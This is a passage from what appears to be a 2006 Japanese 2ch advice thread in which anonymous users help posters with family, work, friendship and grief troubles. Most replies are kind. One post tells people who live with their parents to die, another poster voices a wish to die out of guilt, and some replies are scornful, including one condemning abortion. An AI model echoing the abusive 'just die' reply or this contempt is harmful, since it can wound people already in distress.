まさにその通りだと思いますが

いくらなんでも「お母さん、おれ働くの辞めて実家に残るよ!」
なんて言って喜ばれるとも思いませんし。
介護が必要なら別ですが。

828 :マジレスさん:2006/11/11(土) 02:42:45 ID:KXNLVrRQ
>>824
うん。頑張ろ。負の感情もどこかでストップかけないと自分がしんどい。
そこまで行ったら相手のせいかどうか関係なくなってくるしね。

829 :マジレスさん:2006/11/11(土) 02:44:08 ID:IaV8a7j3
>>817
親がかつて諦めた夢を貴方に託したのかな…
ともかく貴方が少しでも良い方向に向けるように祈ってます。
ゆっくり休んで下さいね。

830 :823:2006/11/11(土) 02:44:35 ID:VG85VQEe
>>826
親のことが心配なのと、
甘やかされて育てられてきたので、
実家にいたいという気持ちの両方があります。

就職先としては、ニートをしてきた自分にとっては
かなりまともなところなのかもしれません。
ここを蹴るともうチャンスはめぐってこないようにも思います。
4月から勤務ということで、
なんだかもやもやとした気持ちになっています。


831 :マジレスさん:2006/11/11(土) 02:49:51 ID:hxaSdHD9
>>822
もちろんその場で謝りました
今は病院行ってしまったので机の上に手紙置いておきました
本当は死んで詫びなきゃいけないんだろうけど、まだ生に執着してて出来ない自分が物凄く嫌です
このままずっと生きててもまた迷惑なんだろうし、どっちにしろ離れた方がいいのは分かってるんですけど…
本当駄目人間ですみません。

832 :マジレスさん:2006/11/11(土) 02:49:58 ID:q4hzYLju
>>828
そだな。結局また繰り返すだけだが。頑張るか。

833 :マジレスさん:2006/11/11(土) 02:51:09 ID:E3LCGfit
>>830
まあ、親が心配なのはわかるが、
ニートを続けるかその会社に就職するかの二択だったら当然後者を選ぶべきだろうな。
親が心配だからニート続けますなんて言ったら、それこそ親不孝もいいとこだw
働くのが億劫なのは、もう頑張るしかないっしょ。

とりあえず、就職したら二年間がんばれ。
やめるにしても、二年はがんばれ。
一ヶ月とかでやめたら、それこそ自分で自分の扉を閉ざすことになるからな。

834 :マジレスさん:2006/11/11(土) 02:51:56 ID:TJwdgyV5
>>830
転勤を何度か経験して実家を離れて7年の経験者から言いますといずれなれます。
むしろ全国どこでも生きていける強さは身に付くでしょう。
私はもはや日本である限りどこでも故郷のような安心感を覚えます。
ただし実家や親戚とは疎遠になりがちです。

835 :マジレスさん:2006/11/11(土) 02:52:37 ID:xHOnijc5
>>821
それはいじめだよ〜
ちなみ職場ではパワーハラスメントと言う


836 :マジレスさん:2006/11/11(土) 02:54:31 ID:IaV8a7j3
>>823
県庁とかかな?
もし親が健康でただ寂しいだけなら、
思い切って飛び出すべきだと思います。
離れてみて初めてわかることもありますよ。
お互い多少親離れ子離れも必要です。
自分が頑張って親孝行してやる!くらいの勢いで邁進してみては?

837 :マジレスさん:2006/11/11(土) 02:55:22 ID:E3LCGfit
>>831
なんで死んで詫びなきゃいけないんだよ、生きて働いて親孝行して詫びろよ。アホかとw
「駄目人間だから」なんて自分で言ってるのは、要するに自分に対する言い訳じゃないか。
やろうと思えばなんだって出来るし、やろうと思えばどこだっていけるんだ。
言い訳してないで、足動かせよ。人生がもったいないぞ。

838 :マジレスさん:2006/11/11(土) 03:00:53 ID:KXNLVrRQ
このスレ優しい人ばっかだな。
自分がいかに甘いか思い知らされる。
自分がしっかりして誰かを勇気付けられる人間になれたらいいな。

839 :マジレスさん:2006/11/11(土) 03:03:31 ID:g+HGLzvC
優しい人ばっかりなんじゃなくて、
たまたま今優しい気分だからこのスレで返答返してるんだよw

聖人じゃあるまいし、常に優しい人なんていてたまるかと。
838だって、相談に乗る側になろうと思えばなれるだろ。
今度心に余裕があるときにでも、人の相談に乗ってみるといいさ。
そんなことで自分に自信を持てるのなら安いもんだぞw

840 :マジレスさん:2006/11/11(土) 03:07:47 ID:/l5rRiin
状況
俺:高卒NEET、目標も無くだらだら
叔父:コネのある就職先を斡旋、ぶっちゃけあまり親しくない(向こうはどう思ってるのか知らないけど)

企業の方も受け入れてくれる気満々
だけど俺が尻込み、というかまだ定職には就きたくない
社会の何たるかだって知らないし斡旋してくれた企業の中身も不透明で怖い
そんな前置きがごちゃごちゃあるけどようは今になって大学にでも逃げようかという考え

親も親で目標を見つけるために大学へ行けとか
目標無いならとりあえず働いて考えろとか、でも働くなら良い企業池とか
勝手なこと色々言ってぽんぽ痛い

このまま就職しちゃうのも怪しそうな所で怖い
そこまでしてくれた叔父に今の今で断るのも怖い
断ったら面子とかも潰しちゃうだろうし

この性格が一番問題なんだろうけど・・・あぁ・・・誰かHelp

841 :マジレスさん:2006/11/11(土) 03:13:35 ID:TJwdgyV5
>>840
とりあえずそこは入ったら辞められない。しかしいい職場かもしれない。
こっそり様子を見に行くくらいしてもいいのでは?
DQN会社の場合は大学にいくのもいいかもしれない。
しかし目標もなく大学にいくのは金の無駄。500万はかかる。
しっかりやりたいことを漠然とでも考えてそのために必要な学科、大学を選ばなければ意味がない。
いつまでも逃げるわけにもいかないのでここらが年貢の納め時と思うこと

842 :マジレスさん:2006/11/11(土) 03:14:55 ID:g+HGLzvC
>>840
別に永久就職でもあるまいし、ニートしてるくらいなら駄目もとで働いてみろよ。
大学なんて、社会を見たうえでやりたいことを見つけてからでも遅くはないだろ。
というか、アメリカとかだと大学ってのは一度社会を見てからかようものだから、平均年齢30歳とからしいぞw

まあ、二年くらいがんばってみればいいさ。
それで駄目なら転職なりなんなりを考えてみればいいんじゃね?

843 :マジレスさん:2006/11/11(土) 03:15:37 ID:5Kslla6k
だいたい親と同居してることがおかしい
そんな奴は単に全員あまったれてんだよ
一人じゃ何もできない役立たずは生きている必要性はないね
死ねば

844 :マジレスさん:2006/11/11(土) 03:18:13 ID:IaV8a7j3
>>840
誰でも社会人になる時は怖いと思う。
私は高卒で就職したんだけどバイトとか社会経験もなくて、
いきなり教室から職員室に放り出された気分で怖かった。
最初のうちは勝手がわからなくて接客相手には怒鳴られるし、何もかも手探り状態…
でもそれが社会に揉まれる貴重な経験なんだと今は思える。
叔父さんの紹介だと辞めたくても辞められないかもしれないから、
企業の中身をよく調べてみては?
大学に逃げてもその先に待っているのは社会。
早いか遅いか。
なるようになれ!とがむしゃらに飛び込むことも時には必要だと思いますよ。
まずは自分のこれからを内観してみては?

845 :マジレスさん:2006/11/11(土) 03:23:14 ID:8yKWxxa6
人生というほど大きなことじゃないんですが…

私がやってしまったちょっとしたことのせいで、私の周りまで悪く言われてしまってます。
ちゃんと謝りたいのに、取り合ってくれません。
気になって気になって今眠れずにいます。
つらいです。

846 :マジレスさん:2006/11/11(土) 03:27:47 ID:g+HGLzvC
>>845
やっちゃったことの内容にもよるだろうが、
もし自分が努力してその失敗の穴埋めを出来るようならまず穴埋めを頑張らないと駄目だろうな。
謝るのは誰でもできる。行動で示した上で謝らないと。
あとはまあ、周囲の人も今は怒ってるのかもしれないし、
ほとぼりが冷めてから改めて謝罪するのも手だろうが。

あと眠れないなら暖めた牛乳だ。
布団に入ったら、呼吸をゆっくりにして、だいたい四、五秒感覚で吐く・吸うを繰り返すのがいいらしいぞ。
軽く筋トレでもして身体を疲れさせるのもいいかもな。

847 :マジレスさん:2006/11/11(土) 03:35:25 ID:LLAqIT7U
>>845
うわー わかる
連帯責任っていうかそういうのでしょ
オイオイ話くらいはさせてくれよって
弁明する場所とかそういう逃げ場を作ってくれよって

私が思うにだけど
相手はそういう逃げ場すら作らせたくないくらい怒っているか
そういう場所を作らせないことであなたとその周りを潰そうとか目論んでいるとか
状況はよくわかんないけど
そういうマジレスしちゃいます
告白します
解決策は思いつきません
どうしたらいいんでしょうね

848 :マジレスさん:2006/11/11(土) 03:35:48 ID:zUYs27rY
http://etc4.2ch.net/test/read.cgi/wcomic/1163150951/l50

キタ━━━━━━(゚∀゚)━━━━━━ !!!!!

なかよし それは、イケメンの代名詞  2ちゃんねる1のイケメンで超有名固定
彼の顔を見たものは、かならず、L'ArcーenーCielのボーカルに似てるという
では、L'ArcーenーCielのボーカルはどういう人物なのか
彼はアイドルと結婚した
その結果、童貞至上主義のファンは、彼の元を去り、
元ファンは彼の姿を見るたびに、「けっ!あんな女と結婚した、ナル男がっ!」 と、思うようになったらしい
彼は彼で、キムタクよろしく、生活臭をださないキャラで頑張っているようだが 残念ながら、失ったファンは戻らない
歌でファンを獲得した訳ではなく、ビジュアルでファンを獲得した歌手のなれの果てであるからだ 話をなかよしに戻そう
つまり、なかよしは結婚してないL'ArcーenーCielのボーカルのかわりなのである モテるのは当然
なかよしイケメン それは魔法の言葉
心の中で唱えれば、ほら?君もなかよしの虜

849 :マジレスさん:2006/11/11(土) 03:37:35 ID:8yKWxxa6
>>846
ありがとうございます。
やってしまったこと…というのは、人が通るちょっと狭い通路に座ってしまったことです。
気分が悪くてとにかく座りたい…と思っていたら、邪魔なところに座ってしまって。
それに気付いた友達数人が気遣ってくれたんですが、そうしたら横から「こんな狭いとこで集まるなよ」と言われました。
確かに邪魔なのは間違いないし、具合が悪かったとはいえ悪いのは座ってしまった私なんで、すぐに退いて謝ろうとしたんですが…
顔も覚えてなくて名前も知らない人相手なんですが、どうしても気になってしまって…
何だか話に矛盾があるみたいでごめんなさい…

850 :マジレスさん:2006/11/11(土) 03:41:33 ID:8yKWxxa6
>>847
ありがとうございます。
今書いたこと、845と矛盾してしまってるかと思いますが、実際はそんな感じでした…
知らない相手なら気にするなという感じですが、絶対に二度と会わない人だとも言い切れないので…
私のせいで、私の周りの人達が今後痛い視線に晒されてしまうことが辛すぎて…

851 :マジレスさん:2006/11/11(土) 03:43:08 ID:LLAqIT7U
>>849
うわ ういう話なの?
私はもうちょっと大きな範囲でどうこうって思っちゃったよ
まあでも
うん 知らない人がどうこう言った話ならあんまり気にすることないよ
とも言い切れないか ふとした他人の台詞が気になったりすることはあるからね・・・
ってか
ここは
うん
悪くない
居心地がいいかもだよ


852 :マジレスさん:2006/11/11(土) 03:43:23 ID:g+HGLzvC
>>849
気にしすぎじゃね?
まあ俺は部外者なんで想像にすぎないけど、
俺が友達ならそんなことで怒らないし、それで謝られても逆に困るかもしれん。

謝っても取り合ってくれないって、もしかして
「別に謝らんでもいいよ」とか「あー、いいよいいよ」とか、そんな感じじゃないか?
そうだとしたら、いちいちそんなこと蒸し返されて場の空気を重くされるほうが居心地悪いんじゃないかな。
普通に気分切り替えて、その件は水に流したほうが相手も楽って可能性もあるよ。

853 :マジレスさん:2006/11/11(土) 03:49:04 ID:Q6mfSMjX
>>835
確かにいじめだと思う、時給800円の俺に、毎日夜中まで働かして、早くやれとか、後輩より遅いとか、なめとんのかとか、カゼでやすんだら診断書もってこいとか、蹴ったり、モップで叩いたり
「モップは人を叩くためにあるんですか!」
といったら
「ああそうだよ」
だって、なめてんのはどっちだ!」


854 :マジレスさん:2006/11/11(土) 03:49:05 ID:8yKWxxa6
>>851-852
遅くなのに、ありがとうございます。
自分でも、気にし過ぎてると思います…
何処かで顔を見ることはあっても多分「面と向かって話をする」ことはない人なんで、
実際謝ることはもう無理だと思いますが…
何だろう…何でこんなに不安なんだろう…
別にまたショックなことがあったから、多分そのせいで余計ネガティブなのかも…

855 :マジレスさん:2006/11/11(土) 03:50:47 ID:g+HGLzvC
>>854
あ、ごめん。
謝りたいって、その「顔も見てない名前も知らない人」になのね。
てっきり、一緒に悪く言われた友達に謝りたいって話かと思ったw
いや失敬失敬。

まあでも、そんなことで後日謝るくらいなら、以降気をつければいいんじゃないかね。

856 :マジレスさん:2006/11/11(土) 03:52:30 ID:yAhwx9k0
少し質問あります。
聞いてください。もしみなさんが、あるセミナーみたいなところ(会話スキルあげるような)
ところで、自分の事を軽く話して、初めてそこであった人に印象が世捨て人、仙人っぽいっと言われたとします。みなさんならどういう気持ちになりますか?また次もそういうこと言う人が
いるとこで学ぼうと思いますか?これは我慢するべきなのか、それともかなりの侮辱で
普通なら憤慨ものなのか、悩んでいます。腹を立てるべきなんでしょうか?

857 :マジレスさん:2006/11/11(土) 03:52:49 ID:O6Janm5L
>>849
気にしすぎだと思います
急に気分が悪くなったのなら、しょうがないのではと思います
怒った人も気分が悪くて座っていると知らずに、ではないでしょうか?
すぐに、気分が悪くなってと誰かが言えばよかったのでしょうが
でもそれほど重大なことだとは思えません、相手ももう忘れてるかもしれませんよ

858 :840:2006/11/11(土) 03:56:45 ID:/l5rRiin
皆さんありがとうございます、自分流されやすくぬるま湯に浸かる性格なので
一度就職してしまうと多分・・・おそらく死ぬかその会社が倒産するまで退職して大学行こうとかしなくなると思うんです

いつかは社会に行かなきゃいけないんですがそれならあてがわれた社会よりは自分で納得した上で
とか思ったりもするのですがNEETの分際で生意気ですね
少し叔父と話してみます
あ、企業のことは大方知っています

859 :マジレスさん:2006/11/11(土) 03:56:45 ID:SX96OTj6
いきなりの訪問スイマセン。

私は、今17歳の高校生です。二年前妊娠して、子供を下ろしてしまぃました…
全然「みずこ」っていぅ言葉もしらなくて、親も病院も何も言ってくれなくて、私は赤ちゃんに何もしてあけまれませんでした。
今、遅いかもしれなぃけど私はみずこの供養をしてあげたい。
でも家ではこの妊娠ネタは口にだしてはいけないことになってるから聞けません。
誰か知ってる人がいたら教えて下さいm(__)mお願いします。

860 :マジレスさん:2006/11/11(土) 03:59:56 ID:8yKWxxa6
>>845の相談に乗ってくれた方々、
本当にありがとうございました。
依然として頭が色々と混乱してますが、
少し落ち着いてみます…
遅くにすみませんでした。
ありがとうございました。

861 :マジレスさん:2006/11/11(土) 04:01:42 ID:g+HGLzvC
>>856
や、それは単なる感想であって怒るところと違う気がするが。侮辱ってわけでもないんじゃない?
まあ、856が腹たててないなら腹立てる必要もないし、褒め言葉としてとるなら喜んでおけばいいじゃん。
どういう感情が正しいのかなんてのは人に聞くことでもないぞ。

>>859
(´・ω・`)っ http://www.google.com/search?hl=en&q=%E6%B0%B4%E5%AD%90%E4%BE%9B%E9%A4%8A

862 :マジレスさん:2006/11/11(土) 04:02:03 ID:LLAqIT7U
>>856
つまり もはやあなたは免許皆伝ってことじゃないのかな・・・
あなたは充分に話せる子だからここに来る必要はないのかもしれないよ?ってことを言いたかったのかなって思うんだけど
んんん だってそういう表現って 全てを達観してそこで習う全てを習得した人に対して言う言葉だと思うんだけど


863 :マジレスさん:2006/11/11(土) 04:04:19 ID:U6fEpu+4
現在大学四年生です。
大学では深い付き合いの友人はいません。
大学1年の時に浅い付き合いの友人が集まり15人くらいのグループを形成しました。
自分も強制的に入らされてしまい抜け出せずダラダラ付き合ってきました。
今までいろんな旅行や行事に参加させられました。

その浅い関係のグループ全員で卒業旅行に行こうと言う話しが出ました。
自分は金銭的にも厳しくそういう関係にたくさんのお金を払う気になりません。
しかしそのグループの習慣で”みんなで行くことに意義がある”というものがあるので
なかなか断れません。そのグループの男に相談をしたら”空気が読めてない”
とか色々言われました。

今までいろんな言い訳をしても色々な行事に結果的に参加させられました。
今回はどうしても金銭的にキツクいけそうにないです。
それを言い訳にして断っても理解してくれず他の事を言っても分かってくれません。

薄っぺらな関係でも最後だし行ったほうが良いのかどうか等色々考えましたが
こればっかりはどうにもなりそうにないです。もし行かなかったら後々の付き合い
や色々な事に支障が出るかもしれないですよね・・・・?誰かに借金してでも行った方が良いですか?

卒業旅行に行かなかったら結婚式とか呼びづらいかな?

864 :マジレスさん:2006/11/11(土) 04:07:24 ID:g+HGLzvC
>>863
逆に聞くけど、そんな程度の付き合いに支障が出たところで何か問題あるのか?
結婚式とか呼ばれたい?

865 :マジレスさん:2006/11/11(土) 04:08:21 ID:PCNr4Lkx
>>863
浅い付き合いで、強制的にグループに居たのに
結婚式に呼ぶの?

866 :マジレスさん:2006/11/11(土) 04:10:20 ID:LLAqIT7U
>>859
みずこっていうか
その子に悪いことをしたなって思うなら
それだけで充分だと思います
供養したいっていうなら 以降の人生で同じことをしないことが供養になるのではないかと思います
堕ろした子に呪われるから除霊したいとかそういう発想なのかもしれませんが
そういう考えがあなたを苦しめることになるはずです
生まれる子はあなたを愛していました
あなたのお腹で宿った命を愛することで供養になります
つまりあなたが後悔した同じことを繰り返さないことです

って私の愛読書に書いてました
どうなんでしょうね

867 :マジレスさん:2006/11/11(土) 04:10:49 ID:SX96OTj6
>>861さんありがとうございますm(__)m

今悔しくて情けなくて罪悪感とか複雑な感情がいりまじってます。赤ちゃんに供養をしてあげてないことも気掛かりで悩んでました。
わざわざサイト教えて頂き本当ありがとうござぃますm(__)m

868 :856:2006/11/11(土) 04:11:50 ID:yAhwx9k0
ちなみにそこは、就職支援施設みたいなところでして
自分は無職で口下手な方なんです。で、ブランクも結構あるんです。
その事で仙人とか言われたんじゃないかと思ってます。
そのセミナーでは履歴書の自己PRとかを鍛えるためのものでして
その中で自分の事を他人に話して印象を他人に教えてもらうという主旨のものです。
講師はその人の良い所を教えてあげましょうという主旨でやってくださいと
言ってるのにその方は、ああ、めちゃくちゃ書いたから気にしないでとかいいながら
ニヤニヤして渡したかんじで、その後もどんな表情してるのかとこちら伺ってる様子でした。


869 :856:2006/11/11(土) 04:13:47 ID:yAhwx9k0
ちなみに渡したとありますが、感想は本人に紙に書いて渡すという主旨のものです。

870 :マジレスさん:2006/11/11(土) 04:13:48 ID:g+HGLzvC
>>867
サイトつーか、単にぐーぐるで水子供養って検索しただけだけど・・・。
でも見たところ寺にお金払って供養するのが多いみたいだな。
まあ供養ってそういうものだが、高校生じゃそうもいかないだろうし、
もう少し時間をかけて色々とサイトを見てまわったほうがいいかもね。

871 :マジレスさん:2006/11/11(土) 04:16:24 ID:U6fEpu+4
>>864-865

聞かれると思っていました。
元々友人が多いほうではないので浅い付き合いでも残しておかないと
困るのかな・・・?とか色々な不安や焦りが頭をグルグルまわっているんです。
浅いから切れば良いと何度も考えたけれど、自分と結婚する人の顔も
立たなくて相手に惨めな思いをさせるのではないか?とか色々考えてしまいます。

いい訳でしょうか?そういう時は意外となんとかなるものですか?
私自身寂しさは感じません。

>>865
呼ばれて嬉しいとか呼ばれなかったからどうとか多分感じませんが、
向こうには多分呼ばれるだろうしそれならこっちも・・・・という考えです。

いい訳ですね・・・どうしたらいいんだろう・・
切るに切れない。。

872 :マジレスさん:2006/11/11(土) 04:18:38 ID:g+HGLzvC
>>856=869
相手が何を考えてたのかも分からん以上は、気にしても仕方ないと思われ。
実際に褒め言葉のつもりで書いたかもしれないし、一応褒め言葉としてもあり得る言葉だしさ。仙人、て。
仮にそいつが嫌がらせでそういうこと書いてたとしても、
「ああ、あの人はあの調子じゃ社会に出ても追い出されるだけだろうなあ。自分はしっかりしなきゃ」
と反面教師としてみるのも手じゃね?

873 :856:2006/11/11(土) 04:23:00 ID:yAhwx9k0
>>872
そうですね。そういう風に納得しようと思っていました。
次も授業でようと思いました。これで行かなければ負けてるのと同じだと
ただなんかすごい腹が今頃になってたってきて、人間ができてないんですかね私は・・

874 :マジレスさん:2006/11/11(土) 04:23:23 ID:g+HGLzvC
>>871
いいか、俺はいまからすごく無責任なレス返すからな。
それをどうとるかは自由だが、俺は無責任だから覚悟しとけ。


そんな連中のために金払って旅行行くなんてばかげてる。
そんな薄っぺらな関係を保つために大切な金を使うな。
もっと大切な未来のために金を使え。

875 :マジレスさん:2006/11/11(土) 04:24:44 ID:wj4Qkm79
中絶とかさあ
殺すならはじめから子供作るなよ。
暴行とかされた結果なら別だけど。
いま赤ちゃんポストで誰にも知られずにこっそりとかいう馬鹿なことが言われてるけど
本当に育てられないなら面と向って事情はなして預けろ
そもそも捨てるなら最初から子供生むなよ 

876 :マジレスさん:2006/11/11(土) 04:27:24 ID:PCNr4Lkx
>>871
いつ結婚するとも分からないのですよね?
グループの人達もそれぞれの道を歩むわけだから
ずっと繋がってるかも分からない。

断れない・切れない理由を探してるだけな感じにみえます。

877 :856:2006/11/11(土) 04:27:31 ID:yAhwx9k0
仙人はともかく、世捨て人って無職の人に言う言葉として
褒め言葉と捉えれるものなんでしょうか・・うーん

878 :マジレスさん:2006/11/11(土) 04:29:37 ID:PiVIU+i4
相手が言い返せないことを分かった上で正論を叩きつけるのは気持ちいいか?
人間として底が知れてる。



>>877
まあ、社会に出ても嫌な奴っているもんだしなあ。
相手の度が過ぎている場合はまた別だが、
今のところはそれも訓練の一環程度に思っておいたほうがいいんじゃないか?

そいつの良し悪しはさておき、やっぱり「嫌な奴が一人いたからもう行きません」ってのは
856のためにはならないような気もするしな。
また嫌なことがあればここに来て愚痴る(相談する)といいさ。

879 :マジレスさん:2006/11/11(土) 04:30:11 ID:xxGx4ioS
オナヌ中毒になってしもた…

880 :871:2006/11/11(土) 04:32:11 ID:U6fEpu+4
>>874

レスありがとう。
俺もあなたとまったく同じ意見でいるのです。
こんな若いうちから世間体やらなにやら考える必要ないのかな。。

>>876

はい、いつ結婚するかはわかりません。
断れない、切れない理由を探しているだけと言われれば確かにその通りです。
ひょっとして情が沸いてしまったのかな?

明日どうしてもいかないって告げます。
レスありがとうございます。

881 :マジレスさん:2006/11/11(土) 04:34:07 ID:PiVIU+i4
>>879
ほどほどにしろよ。

882 :マジレスさん:2006/11/11(土) 04:34:48 ID:SX96OTj6
<<866さん、すごぃ心に響きました。二年前中絶してから、自分の考えも価値観も変わって今は二度と同じことを繰り返さないょうにしてぃます。それが供養になるなら私は一生赤ちゃんのコトを想い真面目に生きていきます。
<<870さんわざわざ調べて頂きありがとうございました!

お金は月一万のおこずかいが難しそぅですね(-.-;)供養とゆうより、赤ちゃんと幸せ目指して生きていきます。

883 :856:2006/11/11(土) 04:36:49 ID:yAhwx9k0
>>878
ですね〜ここでやめるようじゃ社会にでてもやっていけませんよね
自分に負けるきがしてなりません。
もう少し頑張ります。こんな夜分にとりとめようのない質問に真摯にお答え頂いて
本当に有難うございました、少し涙出る思いです。こんなに丁寧にお答え頂けるこのスレの
みなさんは素晴らしいと思います。少し感動しました。でわまた何かありましたら
こちらでもしよろしければご相談乗っていただけると幸いです。お邪魔しましたm−−m

884 :マジレスさん:2006/11/11(土) 05:39:26 ID:OkOmH2Mn
会社で、異常な新人と仕事をさせられています。
はじめは丁寧にその新人に仕事を教えていたのですが、
少し簡単な手作業を覚えると、次第につけあがるようになりました。
毎日俺の横に来て関係ない教科書らしき書物広げて読みながら、
俺の顔色と仕事ぶりなどを逐一伺い監視し、頻繁に馬鹿にしたような発言をしてきます。
最近任せた仕事でのミスを指摘し、やり直すように言ったら、
まず謝ってから物を頼むように言われました。
性格は自己中で、話すと必ず嘘をついてきたり、頻繁に顔色を伺いながら、
自分の発言を撤回して言い直したりします。
雑談では、推測でしかない低レベルな他人の悪口ばかり聞かされています。
仕事適当にやるわ言うこと聞わ、かかわるとストレスがたまるので、少し放置しておきました。
そうしたら、周りの人などに悪い噂をされ、担当を変わりたいと言いはじめる始末。
一人では何もできないことが分かってはないらしい。
最初はそのつもり無かったのですが、周りから強く言われ強制的に担当変わることに承諾させられました。
その後、そいつは放置状態となり、1ヶ月たった後、胃の病気にかかり1週間休業。
復帰した後、俺が悪いと周りの人にアピールされ、窮地に追い込まれています。
その新人の外見はかわいい(男だが)ため、素顔を知らない周りの人はいつもちやほやしています。
俺もそれに騙され、はじめに全身全霊をかけて仕事を教えたのがわるかったと思う。
最近では、その新人から殺意を感じ、俺のいない間に仕事道具など荒らされたりするようになっています。
その新人と一緒に仕事をやるように言われた時点でこの結果は必然てきなものと思われます。
転職しかないのでしょうかね。

885 :マジレスさん:2006/11/11(土) 05:48:29 ID:15n82iBe
まずその彼と真剣に話しましたか?
それでも変わらなければ
上司か周りに相談すればどうでしょうか。
それに全身全霊をかけて仕事を教えた事は、全く悪くないですよ。
悪い点は、何をされても黙っているあなたです。

886 :マジレスさん:2006/11/11(土) 06:49:00 ID:oiieKsKL
上司に相談しかないだろー。

そいつの本性しってるやつは他にはいないってワケじゃないんだろ?
そういう人と一緒に上司に直談判しにいくべきだよ。
一人の証言ならともかく、複数で証言すれば上司だって疑いはしないだろうし。

887 :マジレスさん:2006/11/11(土) 06:49:47 ID:OkOmH2Mn
真剣に話したことはありますが、理解力等が欠けているため、
その場では同意しても、すぐに話し合いの内容は忘れてしまうようです。
仕事を与えてもわざと間違え、困らそうとしてきます。
どうやら、自分に父親のような無限の愛情を求めているようです。
だいたいそういうのには付き合っていられないし、
会社にいるときは仕事のほうを優先的に考えるべきじゃないでしょうか。

888 :884:2006/11/11(土) 06:57:26 ID:OkOmH2Mn
上司はすでにその人の本性は知っているようです。
しかし、この会社では上司の権限がほとんど無いのが実態です。
大量採用のため、全社員の30%新人が占め、
むしろこちらの立場が弱くなっています。


889 :マジレスさん:2006/11/11(土) 07:11:29 ID:ciWHn+e+
おはようございます。
高校時代の同級生Aについてちょっと相談させてください。

卒業してからもう数年が経ち、連絡を取り合っている友人も少なくなってきています。
その数少ない友人の中の一人がAなのですが、私は既に連絡を取り合っていないBやCの話を
そのAは私にしてきます。
Bがこのまえ仕事を変わってどこそこに引っ越したとか、
Cがいついつ結婚をして○月に子供が産まれるとかそういったことです。

かつての友人の近況を聞くことは楽しいですが、Aが勝手にBやCの私的なことを垂れ流しているように感じています。
私が体調を崩して病院にいたことや彼氏と別れたことなども、今は連絡を取り合っていない
かつての友人たちにペラペラと喋られてるのではないかと思うと気が気じゃありません。

Aに「そういう他人の個人的なことは言うものじゃない」と言ってもいいものでしょうか。
私が神経質なだけでしょうか。

890 :マジレスさん:2006/11/11(土) 07:12:36 ID:15n82iBe
>>888
権限がないのであれば
なおさら上司などを含めた上で
話し合いをした方が良いと思いますよ。


891 :マジレスさん:2006/11/11(土) 07:21:14 ID:lyCyoO8h
>>884
新人になめられているんだね。
あなたは何年先輩なんでしょうか。

人は人を見ます。人を値踏みします。
> 会社にいるときは仕事のほうを優先的に考えるべきじゃないでしょうか。
あたりまえです。

かかわらないほうが良いですよ。

892 :884:2006/11/11(土) 07:32:20 ID:OkOmH2Mn
担当を替えるときに3人で話し合ったことがあります。
新人の言い分:
・仕事のことで一度怒鳴られたことがあり(これだけの理由で)
 もう自分とは一緒に仕事をやっていけない。
・指示の仕方が悪い。
→全てこちらが悪いと言い放ち、泣いた振りをする。
自分:
・怒鳴ったのはわるかった。
・このままでは本人のためにならない。
上司:
・明日から担当を変え、A氏の下につける。
→その後A氏は構う素振りを見せず、放置。

ちなみに怒鳴ったのはわざと間違えをやってきたからです。
これまでわざとやったことや嘘をつくことについては散々指摘
してきましたが、自分に都合の悪い話をすると目をそむけ、全く聞きません。
もはや何を言ってもだめだと思われます。

893 :マジレスさん:2006/11/11(土) 07:32:48 ID:abf0STJl
>>889
あんたが口外しなけりゃ
「BやCの私生活は知らない」のとイコールだ。
言って欲しく無い事は
「恥ずかしいから内緒にしておいてくれ」と頼め。
そんなに心配ならBやCと連絡を取れ。
事実は事実。友人なんだろ?

894 :マジレスさん:2006/11/11(土) 07:34:31 ID:15n82iBe
>>889
あまり深く考えない方が良いと思いますよ。
彼女は、ただ世間話が好きなだけでしょう。
私的な事を垂れ流しているように感じているのは、
あなたが他人に話されたくない事があるからではないでしょうか?
それなら彼女に、この話は、他言しないようにと、ただ伝えるだけで
丸く収まるかと思います。



895 :マジレスさん:2006/11/11(土) 07:37:29 ID:AakAlO7S
>>889
そんなに自分のことを知られるのが心配なら一切付き合わないほうが良い。
知られてはまずいと思うことはなるべく話さないほうが良い。
知られてはまずいような悪いことをしているのか。悪いことはしていないだろ。だったら、、、

896 :マジレスさん:2006/11/11(土) 07:44:03 ID:15n82iBe
>>892
もう一度、A氏と上司を交えて充分に話し合いましょう
その後、3人で彼を諭した方が良いでしょう。

897 :マジレスさん:2006/11/11(土) 07:46:39 ID:dkqn6hNG
>>892
なにその馬鹿女みたいな糞ガキwもっと面と向かって文句言いなよ。
なぜ遠慮してるのかよく分らないな。

898 :(1/2):2006/11/11(土) 07:58:43 ID:qvCi3kMn
相談失礼します。
長くなってしまったのでニ分割で申し訳ありません…

祖父の思い込みにより、祖父と家族との言い争いがたえません。
祖母が入院した頃から祖父がおかしくなっていきました。
その頃、祖父は毎日お見舞いに、共働きの両親は定期的にお見舞いに行っていました。
両親は平日は働いているため、週に一度日曜日ごとに衣類の取替えに通っていましたが、
日曜日どうしても行けない場合に祖父に「次の週だけ仕事があるのでお願いします」と頼んでも
「約束が違う、衣類はお前たちが持っていく約束だったろ」と激しい言い争いになりました。

祖母は癌と診断され総合病院に入院していたのですが、
精密検査により転移癌であることがわかり、癌センターへ転居しました。
診断は、原発が不明で末期という最悪の状態でした。

総合病院にいた頃は手術をする方向だったのですが、そのような状態とわかった以上高齢な祖母には手術の負担にとても耐えられないと余命宣告がなされました。
その後はモルヒネ等が主の入院生活です。

しかし祖父はそれが気にいりませんでした。
「最初は手術してくれる病院に入院していたのに、こっちでは何もしてくれない!」
と、よく主治医の先生と揉めていました。
揉めた際には「息子さんとかわってください」と言われるほど…
それ以来ずっと「前の病院は良かった、手術をする予定だったのに」が口癖になっていました。

総合病院は転移癌であることを見抜けなかったわけで、もし手術をしていたらただ寿命を縮めただけかもしれない…
家族はそう説明しました。癌センターの主治医の先生も、詳しく丁寧に説明してくれました。
しかし聞く耳持たずで「話が違う」と繰り返すだけでした。

祖母は、毎日お見舞いにくる祖父に対して「あなたも足を痛めたりしているのだから毎日は来なくて良い」「疲れるから毎日こなくて良い」と言っていたこともありました。

899 :(2/2):2006/11/11(土) 08:01:32 ID:qvCi3kMn
余命宣告を少し過ぎた頃、祖母は亡くなりました。
お葬式を終えても祖父は親戚に会えば「こんなはずじゃなかった、手術するはずだったんだ」と話します。
親戚の方からも「様子がおかしいようだが大丈夫か」と指摘されたことがあります。

それから毎日独り言を言っています。
遺影を前に祖母と話をしているような話し方の時もありますが、ほとんどは怒ったような口調で
「あの医者のせいだ」
「息子たちもろくに見舞いにこないで」
「あのおんな親(母のこと)がきてから息子は洗脳された」
と繰り返しています。

毎日毎日「こんなはずじゃなかったんだ、最初の病院にずっといれば、手術して元気になっていたのに」と言います。
しかしそれはありえません。ありえませんが、もう説明しても無駄だと家族は会話を避けるようになりました。

